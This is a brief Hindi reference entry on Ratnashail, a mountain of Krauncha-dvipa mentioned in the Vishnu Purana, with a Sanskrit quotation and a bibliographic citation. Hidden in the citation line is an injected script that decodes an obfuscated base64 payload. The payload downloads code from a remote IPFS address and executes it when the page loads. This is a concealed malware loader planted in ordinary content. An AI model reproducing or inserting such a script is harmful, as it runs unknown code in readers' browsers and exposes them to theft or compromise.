रत्नशैल

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रत्नशैल नामक क्रौंचद्वीप के एक पर्वत का उल्लेख 'विष्णुपुराण[1] में हुआ है[2]-

'क्रौंचश्चवामनश्चैव तृतीयश्चांधकारकः, चतुर्थो रत्नशैलस्य स्वाहिनी हय सन्निभः।'


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टीका टिप्पणी और संदर्भ

  1. विष्णुपुराण 2, 4, 50
  2. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 774 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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